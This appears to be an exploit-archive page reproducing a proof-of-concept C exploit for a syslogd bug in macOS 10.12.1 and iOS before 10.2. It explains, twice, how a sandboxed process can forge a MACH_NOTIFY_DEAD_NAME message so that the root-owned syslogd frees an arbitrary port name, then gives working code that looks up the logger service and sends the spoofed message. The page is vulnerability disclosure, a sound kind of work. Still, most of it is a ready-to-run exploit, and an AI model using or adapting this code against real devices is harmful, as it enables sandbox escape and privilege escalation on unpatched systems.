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MacOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacemen

Posted on 30 November -0001

<HTML><HEAD><TITLE>macOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacemen</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/*
syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.
 
Here's a snippet from its mach message handling loop listening on the service port:
 
    ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
  ...
    if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
    {
      deadname = (mach_dead_name_notification_t *)request;
      dispatch_async(asl_server_queue, ^{
        cancel_session(deadname->not_port);
        /* dead name notification includes a dead name right */
        mach_port_deallocate(mach_task_self(), deadname->not_port);
        free(request);
      });
 
An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.
 
An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.
 
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
 
// ianbeer
 
#if 0
MacOS/iOS arbitrary port replacement in syslogd
 
syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.
 
Here's a snippet from its mach message handling loop listening on the service port:
 
        ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
    ...
        if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
        {
            deadname = (mach_dead_name_notification_t *)request;
            dispatch_async(asl_server_queue, ^{
                cancel_session(deadname->not_port);
                /* dead name notification includes a dead name right */
                mach_port_deallocate(mach_task_self(), deadname->not_port);
                free(request);
            });
 
An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.
 
An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.
 
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>
 
char* service_name = "com.apple.system.logger";
 
struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};
 
mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s
", name);
    return MACH_PORT_NULL;
  }
   
  return service_port;
}
 
int main() {
  kern_return_t err;
 
  mach_port_t service_port = lookup(service_name);
 
  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy
 
  printf("%d
", getpid());
  printf("service port: %x
", service_port);
 
    struct notification_msg not = {0};
 
  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME
 
    not.NDR = NDR_record;
 
    not.not_port = target_port;
 
  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s
", mach_error_string(err));
   
  return 0;
}

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